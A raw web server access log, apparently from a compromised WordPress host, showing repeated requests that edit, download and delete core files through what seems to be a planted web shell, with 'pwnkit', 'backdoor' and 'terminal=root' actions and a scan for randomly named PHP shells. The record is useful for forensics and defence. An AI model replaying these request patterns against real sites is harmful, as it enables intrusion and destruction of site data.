4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.166.247.155 - - [06/Mar/2026:23:32:52 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-snoopy.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.135.145.77 - - [06/Mar/2026:23:41:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-walker-page.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.153.10.13 - - [06/Mar/2026:23:52:07 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-bindings-registry.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 170.106.167.214 - - [07/Mar/2026:00:02:02 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-wp-block-bindings-registry.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.173.178.239 - - [07/Mar/2026:00:05:14 -0700] "GET /?act=download&file=class.wp-styles.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.24 - - [07/Mar/2026:00:05:14 -0700] "GET /?act=download&file=error_log&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 200 4219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.52 - - [07/Mar/2026:00:05:15 -0700] "GET /?act=download&file=class-wp-taxonomy.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.138 - - [07/Mar/2026:00:05:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-taxonomy.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.74 - - [07/Mar/2026:00:05:16 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-taxonomy.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-taxonomy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.249 - - [07/Mar/2026:00:06:17 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-customize-manager.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.254 - - [07/Mar/2026:00:07:16 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.176.88 - - [07/Mar/2026:00:07:17 -0700] "GET /?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?act=download&file=class-wp.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.64 - - [07/Mar/2026:00:07:22 -0700] "GET /?act=download&file=class-wp-theme-json-schema.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.157.82.252 - - [07/Mar/2026:00:11:55 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-wp-block-bindings-source.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 43.157.38.228 - - [07/Mar/2026:00:21:06 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser-block.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" homs.co.ke 10.38.197.90 40.77.167.79 - - [07/Mar/2026:00:22:15 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=ms-site.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.177.77 - - [07/Mar/2026:00:31:41 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4= HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.160 - - [07/Mar/2026:00:31:41 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-list.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.13 - - [07/Mar/2026:00:31:41 -0700] "GET /?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.213 - - [07/Mar/2026:00:31:41 -0700] "GET /?act=download&file=class-wp-theme-json.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.204 - - [07/Mar/2026:00:31:41 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-http.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.252 - - [07/Mar/2026:00:31:41 -0700] "GET /?act=download&file=class-IXR-clientmulticall.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 4175 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.158 - - [07/Mar/2026:00:31:42 -0700] "GET /?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 94654 "http://www.homs.co.ke/?act=edit&file=formatting.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.4 - - [07/Mar/2026:00:31:42 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3RoZW1lLWNvbXBhdA== HTTP/1.1" 200 6034 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.159 - - [07/Mar/2026:00:31:42 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLWJpbmRpbmdz HTTP/1.1" 200 4639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.173.61 - - [07/Mar/2026:00:31:42 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZS9saWJyYXJ5 HTTP/1.1" 200 4828 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.151 - - [07/Mar/2026:00:31:43 -0700] "GET /?act=download&file=load.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.180.106 - - [07/Mar/2026:00:31:43 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.175.150 - - [07/Mar/2026:00:31:43 -0700] "GET /?del=customize-widgets&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Nzcy9kaXN0 HTTP/1.1" 200 6963 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.187 - - [07/Mar/2026:00:31:43 -0700] "GET /?del=caa&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltM2Q0YTli HTTP/1.1" 200 5180 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.182.229 - - [07/Mar/2026:00:31:43 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2wxMG4=&terminal=root HTTP/1.1" 200 5291 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.178.242 - - [07/Mar/2026:00:31:43 -0700] "GET /?act=download&file=class-wp-http-requests-response.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.89 - - [07/Mar/2026:00:31:43 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2NrLXBhdHRlcm5z&terminal=root HTTP/1.1" 200 5772 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.177.105 - - [07/Mar/2026:00:31:44 -0700] "GET /?act=download&file=load.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "http://www.homs.co.ke/?act=download&file=load.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:00:41:47 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:00:41:47 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2Nrcw==&del=blocks-json.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:04:46 -0700] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:01 -0700] "GET /acfipnci.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:03 -0700] "GET /simple.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:09 -0700] "GET /twlsgobh.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:15 -0700] "GET /function.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:16 -0700] "GET /Quotqw4MU9n.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:19 -0700] "GET /4z78sSq3VE2.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:21 -0700] "GET /rest-api.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:26 -0700] "GET /iikklegv.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:27 -0700] "GET /lcahmwsz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:29 -0700] "GET /wp-info.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:30 -0700] "GET /tuhixyxq.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:38 -0700] "GET /dropdown.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:41 -0700] "GET /QvAqFalfCTX.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:42 -0700] "GET /7DHoKtiS2sQ.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:44 -0700] "GET /qySIWF6TJbv.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:05:47 -0700] "GET /xmrrpxgn.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:06:03 -0700] "GET /baxa1.phP8 HTTP/1.1" 404 - "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:06:03 -0700] "GET /gnkadgiz.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:06:04 -0700] "GET /sqosuclx.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 20.63.83.113 - - [07/Mar/2026:01:06:19 -0700] "GET /9FM3suPlwtZ.php HTTP/1.1" 409 83 "-" "-" homs.co.ke 10.38.197.90 43.173.176.251 - - [07/Mar/2026:01:09:04 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=canonical.php HTTP/1.1" 200 16018 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.40 - - [07/Mar/2026:01:09:04 -0700] "GET /?act=download&file=native.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 4264 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.38 - - [07/Mar/2026:01:09:05 -0700] "GET /?action=backdoor&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.181.176 - - [07/Mar/2026:01:09:05 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz&status=success HTTP/1.1" 200 6457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.182.11 - - [07/Mar/2026:01:09:06 -0700] "GET /?act=edit&file=class-wp-classic-to-block-menu-converter.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 5802 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.174.63 - - [07/Mar/2026:01:09:09 -0700] "GET /?act=download&file=class-wp-image-editor.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.175.43 - - [07/Mar/2026:01:09:09 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1RleHQvRGlmZi9FbmdpbmU= HTTP/1.1" 200 5080 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.181.229 - - [07/Mar/2026:01:19:21 -0700] "GET /?del=class-wp-style-engine.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3N0eWxlLWVuZ2luZQ== HTTP/1.1" 200 5490 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.149 - - [07/Mar/2026:01:19:22 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-smtp.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.176.25 - - [07/Mar/2026:01:19:21 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=cache.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.216 - - [07/Mar/2026:01:19:22 -0700] "GET /?act=download&file=class-wp-image-editor-imagick.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.179.105 - - [07/Mar/2026:01:19:22 -0700] "GET /?action=pwnkit&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA== HTTP/1.1" 302 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.181.58 - - [07/Mar/2026:01:19:22 -0700] "GET /?act=download&file=8ae&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2JyZTIzOTE5 HTTP/1.1" 200 4198 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.163 - - [07/Mar/2026:01:19:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-smtp.php HTTP/1.1" 200 4021 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-smtp.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.180.35 - - [07/Mar/2026:01:19:23 -0700] "GET /?del=error_log&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL1NpbXBsZVBpZQ== HTTP/1.1" 200 4737 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.181.72 - - [07/Mar/2026:01:19:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-patterns-registry.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 43.173.174.180 - - [07/Mar/2026:01:19:23 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL3NvZGl1bV9jb21wYXQvbmFtZXNwYWNlZA==&terminal=root HTTP/1.1" 200 5171 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" www.homs.co.ke 10.38.197.90 43.173.181.230 - - [07/Mar/2026:01:19:24 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-patterns-registry.php HTTP/1.1" 200 7773 "http://www.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=edit&file=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" www.homs.co.ke 10.38.197.90 52.167.144.19 - - [07/Mar/2026:02:04:10 -0700] "GET /?n=5828862051440&mod=d36e6dc0&uri=goods.php%3Fid%3D195169-172%26name%3Dbryant+heating+bryant+furnace+installers+near+me HTTP/1.1" 409 83 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" homs.co.ke 10.38.197.90 43.173.179.11 - - [07/Mar/2026:02:04:46 -0700] "GET /?act=download&file=class-wp-http-requests-response.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.54 - - [07/Mar/2026:02:04:46 -0700] "GET /?act=edit&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 43.173.173.224 - - [07/Mar/2026:02:04:46 -0700] "GET /?act=download&file=class-wp-tax-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.180.26 - - [07/Mar/2026:02:04:46 -0700] "GET /?del=class-IXR-introspectionserver.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL0lYUg== HTTP/1.1" 200 5998 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, 